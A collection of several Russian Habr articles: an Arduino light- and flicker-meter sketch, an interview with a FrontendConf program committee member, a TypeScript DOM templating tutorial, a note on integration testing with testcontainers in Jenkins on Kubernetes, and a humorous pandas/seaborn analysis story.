tsl.setIntegrationTime(TSL2561\_INTEGRATIONTIME\_402MS);
/\* Get a new sensor event \*/
sensors\_event\_t event;
tsl.getEvent(&event);
lm = event.light;
lcd.setCursor(0,0);
lcd.print(lm); lcd.print(" ");
procent = (event.light/start\*100);
lcd.setCursor(10,0);
lcd.print(procent); lcd.print("% ");
{
int x;
x = analogRead (0);
if (x < 60) {
// lcd.print ("Right ");
}
else if (x < 200) {
// lcd.print ("Up ");
}
else if (x < 400){
// lcd.print ("Down ");
}
else if (x < 600){
// lcd.print ("Left ");
env = event.light;
}
else if (x < 800){
start = lm;
lcd.setCursor(0,1);
lcd.print(start);
lcd.print(" ");
}
}
// Замер пульсации
tsl.setIntegrationTime(TSL2561\_INTEGRATIONTIME\_13MS);
l=event.light-env;
l\_min = l;
l\_max = l;
for (int i = 0; i < MAX\_UNITS; i = i + 1) {
tsl.getEvent(&event);
l=event.light-env;
if( l < l\_min )l\_min = l;
if( l > l\_max )l\_max = l;
}
if( l\_max != 0 )pulse = (double)((l\_max - l\_min))\*100/(double)((l\_max + l\_min));
else pulse = 0;
lcd.setCursor(10,1);
lcd.print(pulse);
lcd.print(" ");
}
```
Честно говоря, не надеялся, что вот так за полдня у меня получится готовый работающий прибор. И это при том, что из языков программирования я когда-то знал только ассемблер БК0010 и многое делаю просто методом тыка.
В программе для Arduino я использовал фрагменты программ-примеров использования TSL2561, LCD Keypad Shield, а для расчёта пульсации кусочек из скетча люксметра с samopal.pro. Некоторые вещи работают, но я не понимаю, что они означают :)
Тем не менее прибор работает и очень значительно экономит время. С его помощью уже протестировал полсотни лампочек на минимальное напряжение и тип драйвера.
**P.S.** Буду очень благодарен, если кто-нибудь, хорошо знакомый с Arduino, будет готов иногда отвечать на мои вопросы в Telegram, Facebook или Вконтакте.
© 2017, Алексей Надёжин | https://habr.com/ru/post/401837/ | null | ru | null |
# Будни Программного комитета FrontendConf. Интервью c Сергеем Поповым
Программный комитет FrontendConf отвечает за отбор заявок, готовит программу, расписание, отвечает за стенды и концепцию. При этом участники ПК еще и курируют доклады спикеров. Задача куратора — помочь со структурой, контентом и довести доклад до идеала. Таких докладов у члена ПК бывает от одного до пары десятков, а еще надо готовить программу и свой доклад, если член ПК еще и спикер на конференции.
Накануне FrontendConf мы взяли у интервью у **Сергея Попова** (@sergeytovarov) и расспросили обо всем подробнее. Сергей — участник ПК, руководитель Лига А., выступающий спикер. Мы узнали о том, как идет подготовка к конференции, какие доклады он берет на курирование и чего от них ждать зрителям, для чего он выступает, о чем его новый доклад и зачем ходить на конференции.
О ПК и выступлениях
-------------------
**— Расскажи о своем опыте. Чем занимаешься профессионально, что делаешь в ПК FrontendConf?**
**Сергей**: Если кратко, больше 8 лет проработал верстальщиком, фронтенд-разработчиком, UI-разработчиком. Я всегда был ближе к стороне дизайна и верстке интерфейса, чем к JavaScript и взаимодействию с бэкендом.
Последние два года руковожу аутсорсом по фронтенд-разработке Лига А., а параллельно в HTML Academy веду направление, которое занимается выпускниками: от выпуска до трудоустройства. Я контролирую все, что с ними происходит в этот период.
Много выступаю на профильных конференциях. Езжу на них не только ради выступлений, но и ради сообщества. Организую конференции, участвую в некоторых из них в той же роли, что и в Программном комитете [FrontendConf](https://frontendconf.ru/moscow/2019).
В ПК я веду заявки от начала до конца: коучу, помогаю улучшить доклады, раскрыть интересные стороны. В ПК есть распределение по «специализациям». Каждый занимается тем, в чем у него экспертиза — так доклады становятся лучше. Моя «специализация» — доклады о верстке, UI, CSS, дизайн, soft skills. Это «лайтовые» темы, «хардкор» я не беру.
**— Для чего и как попал в программный комитет FrontendConf?**
**Сергей**: Я попал в ПК года три назад, а с полным погружением участвую в подготовке второй год подряд. В прошлом и в этом году это были РИТ++ и FrontendConf в Москве. До этого я помогал в качестве консультанта.
В ПК я участвую, потому что заинтересован в развитии сообщества. Я часто езжу на конференции и вижу плохие доклады. Находясь в Программном комитете, я могу передать свой опыт выступающим и повлиять на ситуацию, чтобы плохих докладов стало меньше.
За прошедшее время участие в ПК стало больше чем консультированием. Мы влияем на большее количество вопросов, не только на доклады, но и на программу, подготовку сцены, концепцию. Мы принимаем решения, от которых зависит качество конференции — это наша ответственность. Я люблю такие вещи, и это еще одна причина, почему я в ПК.
**— Сколько выступаешь как спикер?**
**Сергей**: Выступления отнимают много времени и сил. Я неоднократно пытался бросить это дело. Но в какой-то момент понял, что конференции необходимы как для работы, так и для постоянной практики.
Я давно перерос тот возраст, когда посещал конференции просто потому, что мне это нравится, без какого-либо смысла. Я ищу в этом смысл для себя, для основной и дополнительной деятельности, для собственного продвижения.
Я выступаю много: с разными докладами, с повторяющимися докладами, с серией докладов — всего около 10-15 выступлений в год. Уменьшения активности не предвидится, и пока непонятно за счет чего их может стать меньше.
Camera Rig, CSS как язык программирования и осознанность
--------------------------------------------------------
**— Сколько докладов ты курировал для FrontendConf? Расскажи о них подробнее, что в них будет полезного для гостей конференции?**
**Сергей**: Только для FrontendConf 2019 я курировал 15-20 докладов. Не все из них были приняты, поэтому расскажу о тех, что попали в программу.
**Наташа Габитова** расскажет [о Camera Rig](https://frontendconf.ru/moscow/2019/abstracts/5735). Это интересный способ создавать крутые вещи с помощью WebGL, например, свои собственные миры. Ощущение от мира будет зависеть от камеры. Один из приемов управления камерой и пользовательским опытом, соответственно, называется «Rig». Послушать о том, как это делается будет интересно и расширит кругозор любого человека.
Следующий доклад — **Андрея Смирнова** «[The state of soft skills](https://frontendconf.ru/moscow/2019/abstracts/5488)». Андрей расскажет о своем огромном исследовании о soft skills. Это не выступление с пересказом собственного мнения — доклад основан на статистике о взаимодействии, взаимосвязях друг с другом, которая собрана с рынка. Учитывая что статистика собиралась с фронтендеров, тема актуальна для участников FrontendConf.
**Никита Дубко** выступит с темой «[CSS — язык программирования](https://frontendconf.ru/moscow/2019/abstracts/5659)». Он расскажет о том, как посмотреть на возможности CSS с другой стороны. Никита сам прекрасно справляется, его особо вести не нужно, но мнение со стороны никому не помешает.
*Подробнее о своем докладе Никита рассказал [в отдельном интервью](https://habr.com/ru/company/oleg-bunin/blog/450830/).*
Дальше — **Виктор Русакович** с [докладом о скелетонах](https://frontendconf.ru/moscow/2019/abstracts/5128). Он расскажет, как улучшить ощущения от загрузки, если ваше приложение грузится долго и вы ничего не можете с этим сделать. С помощью скелетонов возможно улучшить восприятие от долгой загрузки, когда страница схематично показывается в момент прогрузки. Он расскажет обо всем: что это, зачем и как.
**Софья Валитова** из ВКонтакте расскажет [про типы данных в CSS](https://frontendconf.ru/moscow/2019/abstracts/5964). Это доклад о программировании на CSS, не про внутреннюю типизацию. Софья столкнулась с довольно простой проблемой — с функцией `calc()`, которая отрабатывала не так, как хотелось. Но чтобы понять, как она работает, пришлось погрузиться в недры спецификации и вытащить оттуда все, что можно. Я люблю людей, которые читают спецификации. Поэтому доклад мне понравился, и он будет еще лучше к конференции.
**Настя Калашникова** выступит с [правилами осознанной карьеры разработчика](https://frontendconf.ru/moscow/2019/abstracts/5547). Она очень крутой специалист по soft skills, практикующий психолог и HR в IT. У нее будет полезный доклад о том, как и почему нужно осознавать некоторые вещи, которые происходят в вашей карьере. Настя покажет на примерах, чего можно достичь, если подходить в карьере осознанно, и что будет, если этого не делать.
Еще я курирую доклад **Юлии Музафаровой** «[Make a World on Pure CSS](https://frontendconf.ru/moscow/2019/abstracts/5937)» о крутых анимациях в CSS. Юля расскажет, как делать сложные анимации, зачем это нужно, почему интересно, как это прокачивает навыки и позволяет посмотреть на CSS по новому.
Каждый доклад интересен в своей теме и по своему направлению. Надеюсь, что они всем понравятся.
**— Среди этих докладов много опытных спикеров, но есть и новички. С кем легче работать?**
**Сергей**: Все ребята с опытом, но у кого-то его больше. Условно говоря, Никита Дубко, Андрей Смирнов — это опытные спикеры, много выступают, но есть те, кто выступает меньше. С более опытными проще, потому что с ними практически не надо работать. Они способны самостоятельно оценить то, что они делают. Им особых советов не нужно, только взгляд со стороны.
С другой стороны, мнение ПК не всегда будет услышано спикером, если взгляды отличаются. Возможно, в чем-то спикер даже будет согласен, но опыт выступлений требует говорить иначе.
Новичков проще направить в нужное интересное русло. Я смотрю на доклад с позиции интересности для аудитории. Моя задача, как куратора, в том, чтобы привести его к состоянию, когда он интересен всем. С новичками проще — они более отзывчивы и прислушиваются к мнению куратора.
**— Расскажи, чем помог спикерам? Опиши фронт работ, интересные фишки, которые придумал?**
**Сергей**: Придумывать фишки для докладов это не моя работа. Я помогаю повернуть тему в нужное русло, добавить или убрать глубину некоторым участкам доклада. Моя работа — структура, подача и контент. Было пару прикольных фишек, которые мы придумали в рамках этой работы, но их вы увидите уже на конференции.
Фронт работ достаточно простой: посмотреть заявку, оценить насколько она интересна, созвониться с докладчиком, понять, что выкинуть из доклада, а что добавить. Дальше проработать программу, структуру, презентацию, прогнать на созвоне и очно.
**— Будешь ли присутствовать на докладах своих подопечных?**
**Сергей**: Физически не смогу это сделать. Учитывая, сколько докладов через меня прошло, и то, что у меня есть [свое выступление](https://frontendconf.ru/moscow/2019/abstracts/5717), что доклады будут идти параллельно, а сама конференция плотная и есть организационные моменты, то всех послушать невозможно.
**— Есть элемент конкуренции между куратором и курируемым?**
**Сергей**: Есть конструктивный диалог, когда куратор говорит как изменить, а курируемый принимает это или не принимает. Это довольно интересно, потому что в таких спорах рождается что-то интересное.
Если говорить о конкуренции с точки зрения отбора в программу, то нет, никаких привилегий куратор не имеет. Все подают доклады в общем потоке. Все доклады записываются на прогонах, получают голоса и попадают в программу, если они хорошие.
Участники ПК часто попадают в программу, но это потому, что большая часть из них — практикующие спикеры. Так как они опытные и матерые, то высока вероятность, что их доклад пройдет отбор.
Если человек не из ПК знает, как попасть в программу, потому что много выступал и может подготовить интересное и увлекательное выступление, то он также это может сделать и из комитета. У нас нет квот на количество докладов от ПК. Можем пустить хоть все. Вопрос в другом — если они неинтересные, то будут завернуты на этапе обсуждения и просто не пройдут первый этап. Никаких привилегий у ПК нет.
О пользе конференций
--------------------
**— В программе FronendConf заявлен твой доклад о subgrid. О чем он, что ждать слушателям?**
**Сергей**: Сейчас это первый доклад на русскоязычном пространстве о гридах второго уровня. Subgrid появились в стабильных браузерах, спецификация созрела. Я считаю, что пришло время рассказать, что скрыто в этих спецификациях, какие возможности это откроет для верстальщиков и когда все это ждать.
Можно сказать, что доклад — продолжение того, что я рассказывал о Grid три года назад на FrontendConf. Это был первый доклад по теме, потом была серия докладов, как использовать это в продакшн, а сейчас продолжение о гридах второго уровня. Через некоторое время будут доклады из серии «давайте все это использовать так и так».
*Примечание: на FrontendConf РИТ++ в 2017 году Сергей рассказывал о том, как «свежий» Grid Layout [применяют в работе](https://youtu.be/yBdpGbRzyo8), а спустя год, что Grid Layout — [основа современной верстки](https://habr.com/ru/company/oleg-bunin/blog/433320/). В мае на РИТ++ Сергей выступал с докладом об опросе frontend-разработчиков «[The state of CSS](https://habr.com/ru/company/oleg-bunin/blog/450824/)». Гриды были не основной темой, а частью доклада.*
**— Финальный вопрос. Зачем, на твой взгляд, нужно посещать конференции и FrontendConf, в частности?**
**Сергей**: Чтобы развиваться, нужно получать откуда-то информацию, например, с помощью докладов. Но доклады на конференциях — это лишь некоторая часть пользы от конференции.
> Большая часть пользы от конференций — это нетворкинг, общение, развитие, погружение в сообщество.
Поэтому для развития стоит посещать любые конференции, в разумных пределах.
Почему стоит посещать FrontendConf? По сравнению с другими российскими серийными конференциями, она тщательно готовится сильным ПК. В комитете опытные ребята с рынка, которых отбирали, чтобы они занимались подготовкой программы.
В ПК мы очень долго думаем над расписанием, над удобством участников и спикеров. Внутри постоянно идут споры, обсуждения, предложения как улучшить конференцию, что дает результат в виде сильнейшей программы. Я больше нигде не видел, чтобы столько сил и времени в ПК тратили на программу, отбор заявок, проведение подготовки конференции и на то, чтобы доклады стали крутыми.
С точки зрения программы FrontendConf отличается от других конференций тем, что она упирает на «хардкор». Есть хорошие простые доклады, есть средние, но больше всего «хардкорных». Таких докладов по фронтенду, как на FrontendConf больше нигде нет.
Это дает свои некоторые проблемы. Например, новичку, который никогда раньше нигде не выступал, будет сложно попасть на FrontendConf, как на свою первую конференцию — здесь опытные спикеры. Но это не исключает вероятность того, что в программе есть новички. Иногда попадаются люди, которым выступления даются сразу.
За счет комбинации всех этих факторов получается очень сильная программа. FrontendСonf отлично подходит для получения знаний. Но, кроме знаний, FrontendConf подходит и для нетворкинга. На конференцию приезжает много представителей, разработчиков и спикеров от самых разных компаний не только из России, но и из ближних стран. Поэтому пользы от нетворкинга не меньше, чем от обучения.
> Семь докладов спикеров, которые курирует Сергей, уже в расписании [FrontendConf 2019](https://frontendconf.ru/moscow/2019/), а сам он выступает в первый день во втором зале. Кроме subgrid, скелетонов и доказательств, что CSS это язык программирования, нас ждут продвинутый TypeScrypt, React Native и борьба с legacy-кодом. Полная карта докладов с описанием и распределением по времени и залам — [в расписании](https://frontendconf.ru/moscow/2019/schedule) конференции.
>
>
>
> Подписывайтесь на [рассылку](http://eepurl.com/bb99tn), чтобы быть в курсе новостей, новых статей и анонсов конференции, а также [бронируйте билеты](https://conf.ontico.ru/conference/join/fc2019-moscow.html) до дедлайна повышения цен через 4 дня. | https://habr.com/ru/post/468543/ | null | ru | null |
# Создаем подобие шаблонизатора на TypeScript
Совсем недавно Microsoft представила [новый язык программирования TypeScript](http://habrahabr.ru/post/153077/). Наверняка многим понравилось наличие типизации и плагины для Microsoft Visual Studio и других редакторов. Чтобы оценить насколько полезен язык в разработке, я решил поиграться с ним, написав небольшой код, который поможет в разработке приложений.
#### Каждый с этим сталкивался
Любой, кто разрабатывал приложения с использованием технологий HTML+js, знает, что очень часто приходится решать задачу шаблонизации данных на представлении. Существуют множество решений: как с использованием фреймворков ([раз](http://api.jquery.com/jQuery/#jQuery-html-props), [два](https://github.com/jquery/jquery-tmpl), [три](http://knockoutjs.com/), [четыре](http://backbonejs.org/) и так далее), так и простые методики, вроде таких:
```
var StringTemplate =
"" +
"{Name}
" +
"{Text}
" +
"{Date}
" +
"",
html = "",
Container = document.getElementById('container2');
for (var i = 0; i < TestDataLength; i++) {
html += StringTemplate
.replace(/\{Flag\}/g, TestData[i].Out ? "message out" : "message")
.replace(/\{Name\}/g, TestData[i].Name || "")
.replace(/\{Text\}/g, TestData[i].Text || "")
.replace(/\{Date\}/g, TestData[i].Date.toLocaleTimeString());
}
Container.innerHTML = html;
```
Последний способ, на мой взгляд, является самым очевидным и простым, однако, он не учитывает необходимость модификации представления после его формирования. Можно добавлять id или data-id для каждого элемента, который собираемся модифицировать, а потом с помощью jQuery или querySelector выделять необходимый элемент, но поиск по DOM весьма — ресурсоемкий процесс.
#### Замыкания — любимые друзья js-разработчика!
Самый быстрый способ шаблонизации в случае необходимости частой модификации представления является ручная сборка DOM. Методов для этого нужно аж целых три: document.createElement(), document.createTextNode() и (но не обязательно) document.createAttr(). Работа с этими методами в различных браузерах может быть [даже медленнее](http://jsperf.com/innerhtml-vs-createelement-test/7), чем с innerHTML, но на выходе мы получаем указатель на элемент и код страницы не захламляется идентификаторами.
##### Немного сахара
Прежде всего, создадим модуль Templater и три функции, которые позволят увеличить производительность и сделают код более приятным для чтения:
```
module Templater {
export function Element(TagName: string, Attributes: Object) : HTMLElement {
var item:HTMLElement = document.createElement(TagName);
for (var p in Attributes)
if (typeof(Attributes[p]) == "string")
item.setAttribute(p, Attributes[p]);
else if (Attributes[p] instanceof Attr)
item.setAttributeNode(Attributes[p]);
return item;
}
export function Text(Text: string): Text {
return document.createTextNode(Text);
}
export function Nest(Element: HTMLElement, Items: any[]): HTMLElement {
var l = Items.length;
for (var i = 0; i < l; i++)
if (Items[i])
Element.appendChild(Items[i]);
return Element;
}
// ...
```
Первая функция создает тег с указанным именем и задает необходимые атрибуты, Nest — создает иерархическую структуру элементов и Text — просто синоним для document.createTextNode();
##### Структуры данных
Поскольку в TypeScript есть такое благо цивилизации, как ненавязчивая типизация, то ей стоит воспользоваться. Итак, у нас есть элемент на форме и связанные с ним данные. Сделаем очевидный поступок:
```
export class Block {
constructor (public Element: HTMLElement, public Binding) {
}
}
```
Ну и вспомогательную структуру, которая будет совершать действия над элементом:
```
export class Template {
constructor (public Create: {
(Element: { (TagName: string, Attributes: Object): HTMLElement; },
Nest: { (Element: HTMLElement, Items: any[]): HTMLElement; },
Text: { (Text: string): Text; }) : Block; },
public Update: { (Element: Block, Data); }) {
}
public Make(Data) {
var item = this.Create(Element, Nest, Text);
this.Update(item, Data);
return item;
}
}
```
Внимательный читатель заметит, что в качестве аргументов мы указываем типизированные анонимные функции. Это очень удобно: и разработчик компонента и разработчик, использующий компонент, будут знать, чего библиотека от него хочет.
##### Пример использования
Шаблон создается таким образом:
```
import T = Templater;
var myItem = new T.Template(
(Element, Nest, Text) => {
var Name, Date, Text, Flag, Container;
Nest(Container = Element('div',
{ 'class': Flag = document.createAttribute("class") } ), [
Name = Element('p', { 'class': 'name' }),
Text = Element('p', { 'class': 'text' }),
Date = Element('p', { 'class': 'date' })
]);
return new T.Block(Container, {
Name: Name,
Date: Date,
Text: Text,
Flag: Flag,
Container: Container
});
},
(Element: T.Block, Data) => {
var b = Element.Binding;
b.Name.innerText = Data.Name || "";
b.Date.innerText = Data.Date.toLocaleTimeString();
b.Text.innerText = Data.Text || "";
b.Flag.nodeValue = "message " + (Data.Out == true ? "out" : "");
});
```
Появляется еще одно преимущество TypeScript — укороченная запись анонимной функции ( аргументы ) => { код }. Она делает код намного более понятным к чтению.
Аргументы (Element, Nest, Text) я передаю в первой функции из соображений производительности: все таки прямая ссылка на функцию работает быстрее, чем указатель на статическую функцию модуля. Таковы особенности Javascript и Typescript исправить ситуацию в таком случае просто не способен.
Что же делает этот код?
С помощью первой функции (Create) мы создаем пустой элемент документа, а возвращаем пару (элемент, binding), где последний представляет некое подобие ViewBag, содержащей ссылки на нужные шаблону элементы управления. QuerySelector для такой задачи уже не понадобится.
Вторая же функция (Update) связывает данные из Data на элементы из Binding
#### Набор тестовых данных
Код, отвечающий за тестовые данные можно вынести в отдельный модуль, как в старом-добром .NET
```
module Example {
export class ExampleData {
constructor (public Name: string,
public Date: Date,
public Text: string,
public Out: bool) {
}
public static GetExampleData(count: number): any[] {
var result = [],
ExampleText = "Neque porro quisquam est qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit...",
NameA = "John Doe", NameB = "Jane Doe",
StartDate = new Date(),
Interval = 300;
for (var i = 0; i < count; i++) {
result.push(new ExampleData(
i % 2 == 1 ? NameA : NameB,
StartDate,
ExampleText,
i % 2 == 1));
StartDate = new Date(StartDate.getTime() + Interval);
}
return result;
}
}
}
```
Работая с TypeScript не перестаешь радоваться тому, что ключевое слово this в этом языке обозначает то же, что и C-подобных языках программирования — ссылку на текущий экземпляр объекта класса, а не «что-то-там в зависимости от контекста вызова функции».
#### Запускаем
Для того, чтобы проверить работоспособность кода, осталось главную функцию:
```
window.onload = () => {
var TestDataLength = 1500,
TestData = Example.ExampleData.GetExampleData(TestDataLength),
Container = document.getElementById('container1');
var TestStart = new Date();
for (var i = 0; i < TestDataLength; i++)
Container.appendChild(myItem.Make(TestData[i]).Element);
var TestEnd = new Date();
console.log("Test completed", {
time: TestEnd.getTime() - TestStart.getTime(),
count: TestDataLength
});
var StringTemplate =
"" +
"{Name}
" +
"{Text}
" +
"{Date}
" +
"";
var html = "";
Container = document.getElementById('container2');
TestStart = new Date();
for (var i = 0; i < TestDataLength; i++) {
html += StringTemplate
.replace(/\{Flag\}/g, TestData[i].Out ? "message out" : "message")
.replace(/\{Name\}/g, TestData[i].Name || "")
.replace(/\{Text\}/g, TestData[i].Text || "")
.replace(/\{Date\}/g, TestData[i].Date.toLocaleTimeString());
}
Container.innerHTML = html;
TestEnd = new Date();
console.log("Test with string templater completed", {
time: TestEnd.getTime() - TestStart.getTime(),
count: TestDataLength
});
};
```
И выполнить простую команду:
`tsc templater.ts`
Немного подождав, компилятор выдает скомпилированный в js файл, который практически не отличается по размеру и читаемости от исходного. Спасибо, Microsoft!
[Ссылка на исходный код](https://dl.dropbox.com/u/22264454/coding/Templater.7z) | https://habr.com/ru/post/155029/ | null | ru | null |
# Заметка о интеграционном тестировании используя Jenkins на Kubernetes
Добрый день.
Практически сразу после установки и конфигурации CI/CD по инструкции из [предыдущего поста](https://habr.com/ru/post/442614/) у команды возник вопрос как правильно осуществлять интеграционное тестирование. У нас уже был опыт запуска тестовых зависимостей в docker контейнерах, но это стало проблематичным так как теперь сама сборка была запущена в контейнере. В этой заметке я бы хотел описать два возможных способа интеграционного тестирования внутри контейнера, которые подошли моей команде.
Требования к интеграционному тестированию
-----------------------------------------
По определению интеграционным тестированием называется тестирование, которое проверяет работу приложения с его зависимыми компонентами. Примерами может быть базы данных, очереди а также другие сервисы.
В рамках тестирования нам хотелось:
* одинаково запускать тесты как локально так и на jenkins
* избежать предварительной установки и конфигурации зависимых приложений
* декларировать и запускать зависимости используя файлы в репозитории проекта
* иметь возможность запускать несколько сборок параллельно
* желательно иметь возможность добавлять новые зависимости в будущем
* желательно иметь возможность тестировать с разными версиями одной и той же зависимости
Исходя их этих требований мы сразу откинули идею иметь постоянные общие инсталляции тестовых баз данных и очередей из-за проблем с разделением ресурсов между сборками, сложностью поддержания и изменения этой инфраструктуры.
Вариант 1: встроенные решения
-----------------------------
В экосистеме java существует достаточно много библиотек которые запускают зависимость для теста:
* kafka: <https://github.com/chbatey/kafka-unit> / <https://github.com/spring-projects/spring-kafka> / <https://github.com/manub/scalatest-embedded-kafka>
* [cassandra](https://github.com/jsevellec/cassandra-unit)
* [postgres](https://github.com/yandex-qatools/postgresql-embedded)
* [rest api](https://github.com/tomakehurst/wiremock)
Данный подход является максимально простым и удовлетворяет большинство из требований описанных ранее, но не является универсальным с точки зрения добавления новых тестовых зависимостей (mysql?) либо использования конкретных либо многих версий зависимостей.
Хорошо подходит для простых сервисов с 1-2 зависимостями.
Вариант 2: testcontainers
-------------------------
Docker является логичным способом разрешить недостатки предыдущего подхода: можно найти (или создать Docker image) для любой зависимости с любой версией. Вероятно, некоторые из зависимостей и в продакшене запущены используя те же самые образы.
Если локально запуск образа (или несколько используя docker-compose) не составит проблем, то на CI возникнут сложности так как сама сборка происходит в контейнере. Хотя и возможно запустить docker в docker но это [не рекомендуется самим создателем dind](https://jpetazzo.github.io/2015/09/03/do-not-use-docker-in-docker-for-ci/). Предпочтительным способом обойти эту проблему является переиспользование уже запущенного docker процесса который часто называют sibling docker. Для этого нужно чтобы дочерний docker процесс использовал `/var/run/docker.sock` от родительского. В предыдущем посте это уже было использовано для публикации docker images с собранным приложением.
Было принято решение использовать библиотеку [testcontainers](https://github.com/testcontainers/testcontainers-java) так как она:
* предоставляет хороший api для управления зависимостями
* имеет интеграции с наиболее популярными [базами данных](https://www.testcontainers.org/modules/databases/) и [очередей](https://www.testcontainers.org/modules/kafka/)
* использует sibling docker подход при запуске [в контейнере](https://www.testcontainers.org/supported_docker_environment/continuous_integration/dind_patterns/)
* одинаково работает локально и на ci
* останавливает контейнеры после сборки
Хорошо подходит для более сложных сервисов либо для сервисов с особыми требованиями к зависимостям.
Управление ресурсами
--------------------
Далее стоит обратить внимание на потребление ресурсов сборкой проекта (которое может значительно возрасти после добавления интеграционных тестов).
На текущий момент сборка не указывает необходимое количество памяти и cpu shares, что можеть две потенциальные проблемы:
* Первая — это слишком много параллельных сборок на одной машине, что приведет в высокому load factor. Вероятно, сборки пройдут, но потратят на это намного больше времени.
* Вторая — это OOM kill. Кубернетис может решить что вы потребляете слишком много памяти и просто будет убивать сборки прежде чем они завершаться.
Ограничить ресурсы контейнера в поде можно используя конструкцию:
```
resources:
requests:
cpu: 1
memory: 512Mi
limits:
cpu: 1
memory: 512Mi
```
Jdk9 и выше уже имееют поддержку работы в контейнере (-XX:+UseContainerSupport (включен по умолчанию), работает в комбинации с -XX:InitialRAMPercentage / -XX:MaxRAMPercentage)
Полный пример можно посмотреть [тут](https://github.com/idegtiarenko/habr-demo-app-testcontainers/blob/master/Jenkinsfile).
Для корректной работы Jdk8 требуется либо обновление 131 и выше с включенными флагами `-XX:+UnlockExperimentalVMOptions -XX:+UseCGroupMemoryLimitForHeap` для чтения доступной памяти из cgroup а не из хост машины, либо каждый раз указывать доступный размер хипа вручную используя `Xmx`.
Пример доступен [тут](https://github.com/idegtiarenko/habr-demo-app-testcontainers/blob/java8/Jenkinsfile).
Стоит заметить, что kubernetes ничего не знает о ресурсах затраченных на контейнеры запущенные используя testcontainers либо sibling-docker. Для корректной работы в данной ситуации можно зарезервировать ресурсы в контейнере maven с учетом всех тестовых зависимостей.
Заключение
----------
Интеграционное тестирование при запуске билда в контейнере возможно и не является сложной задачей.
Пример приложения с интеграционными тестами используя testcontainers вы можете найти [здесь](https://github.com/idegtiarenko/habr-demo-app-testcontainers) и конфигурацию для запуска Jenkins на kubernetes [здесь](https://github.com/idegtiarenko/habr-demo-ci-cd/tree/master/jenkins). | https://habr.com/ru/post/451588/ | null | ru | null |
# Обеспечить январь настроением
Вместо эпилога
--------------
Эта история произошла довольно давно, но некоторые подробности стали ясны только сейчас, отчего и настало время её рассказать.
Не будем останавливаться на описании типов параллельных реальностей, это уже давно и успешно делают многие литераторы, любители альтернативной истории, футурологи и просто поклонники подобных вещей. Перейдём сразу к делу.
А дело происходило в НИИЧАВО в тот момент, когда у Кристобаль Хозеевича Хунты не получилось навести порядок с Тройкой. Соответственно товарищ А.Привалов, выражаясь современным языком «завис» под началом товарища Выбегалло. Ноябрь выдался малоснежный, но близился новый год и т. Выбегалло пришёл к т. Привалову с поручением от Тройки: «Ввиду наступающего праздника Нового года необходимо разработать план обеспечения настроением всех жителей страны:
1) в недельный срок произвести оценку потребности нужных событий на 1000 жителей;
2) передать описание потребности из п.1 в лабораторию Хорошего настроения для реализации плана, уже доведённого до них Тройкой.
Передав поручение Тройки с резолюцией «Обеспечить январь настроением» Выбегалло, строго посмотрел на т. Привалова и сказал, что зайдёт через два дня.
Работа началась
---------------
Александр с максимально серьёзным видом кивнул. Сказал: «Немедленно займусь» и проводил уходящего т. Выбегалло взглядом. Особого беспокойства Александр не испытывал, т.к. недавно у заезжего путешественника во времени выменял на неразменный рубль notebook c Anaconda. Так что сейчас он точно знал, что Рython не только змея такая, но и полезная в хозяйстве вещь.
Немного поразмышляв о подходах, он создал данные с 1000 событий для января месяца. Малым, но приятным бонусом, было то, что 1 января выпадало на понедельник и функции обработки дат даже не понадобились. В данных он заложил два типа событий: «искренняя улыбка» и «беззаботный смех».
При подготовке к встрече Александр считал данные:
```
# Читаем данные о количестве событий каждого вида
# Pivot самое простое средство для визуализации данных этой задачи: подсчитать сумму по типам событий
Cnt_arr = pd.DataFrame()
Cnt_arr = F_Lst_FULL_df.pivot_table('DT_evnt', index='Date_event',dropna = False,fill_value=0, columns='Type',aggfunc='count')
# Рисуем
sns.set() # используем seaborn styles по умолчанию
Cnt_arr.plot()
plt.xlabel('Даты событий')
plt.ylabel('Количество событий')
```
Анализ
------
Когда т. Выбегалло пришёл, к обещанному времени т. Привалов показал ему графическое описание данных. Александр уточнил, что улыбки — это тип=1, а смех, это тип=2 и спросил какие вопросы нужно обсудить.
«Вот ведь т. Привалов» — сказал Выбегалло, «машина вроде умная у Вас, а чего же она сразу не обозначает, что самая важная тенденция в событиях – плавный переход от праздников к рабочему ритму?».
Александр улыбнулся и тут же в течение 5 минут быстро набрал на клавиатуре:
```
# Рисуем график для отображения тенденций по обоим сортам событий
sns.set_style("white")
gridobj = sns.lmplot(x='Date_event', y='DT_evnt', hue='Type', data=Cnt_arr, height=7, aspect=1.6,
robust=True, palette='tab10', scatter_kws=dict(s=60, linewidths=.7, edgecolors='black'))
# Внимание на общий масштаб и выбор добавки к минимальному и максимальному значению!
# Ключевое: Наши данные в целочисленном диапазоне 0-100!
# определяем размерность по X (min, max)
Xmin=Cnt_arr['Date_event'].min()-1
Xmax=Cnt_arr['Date_event'].max()+1
# определяем размерность по Y (min, max)
Ymin=Cnt_arr['DT_evnt'].min()-1
Ymax=Cnt_arr['DT_evnt'].max()+1
# Рисуем
gridobj.set(xlim=(Xmin, Xmax), ylim=(Ymin, Ymax))
plt.title("График с линией тенденции для двух типов событий",
fontsize=20)
plt.show()
```
«Ну вот нужную тенденцию вижу. Так бы сразу!» — смягчившись, сказал Выбегалло и расплылся в довольной улыбке. Потом посерьёзнел и спросил: «А что это за пила такая была на первом рисунке? Отчего это она так дергается, мил человек?».
Александр был готов к этому вопросу (мысленно, только мысленно, он улыбнулся), а вслух сказал: «Это потому, что в данных есть две особенности: 1) количество событий определялось случайным образом, вроде как естественные всплески настроения; 2) субботы и воскресенья обеспечены пониженным количеством событий, т.к. это не рабочие дни.»
Александр замолчал, ожидая пока Выбегалло посмотрит на него, и закончил: «А для проверки отсутствия явных зависимостей я повёл кластерный анализ. Причём сами данные для удобства обогатил следующими временными признаками»:
```
# Добавленные признаки
# Сначала день месяца (отбрасываем остаток)
F_Lst_FULL_df['Date_event'] = F_Lst_FULL_df['DT_evnt']-F_Lst_FULL_df['DT_evnt']%1
# Исправляем особенность в данных 0 дату меняем на 1-ое
F_Lst_FULL_df['Date_event'] = F_Lst_FULL_df['Date_event'].replace(0.0, 1.0)
# Добавляем долю дня в течение суток от 0 до 1
F_Lst_FULL_df['PartOfDay'] = F_Lst_FULL_df['DT_evnt']%1
# Добавляем номера недели
F_Lst_FULL_df['NWeek'] = F_Lst_FULL_df['Date_event']//7%7+1
# Добавляем номер дня в неделе 1-пн
F_Lst_FULL_df['D_Week'] = 1 + (F_Lst_FULL_df['Date_event']+6)%7
```
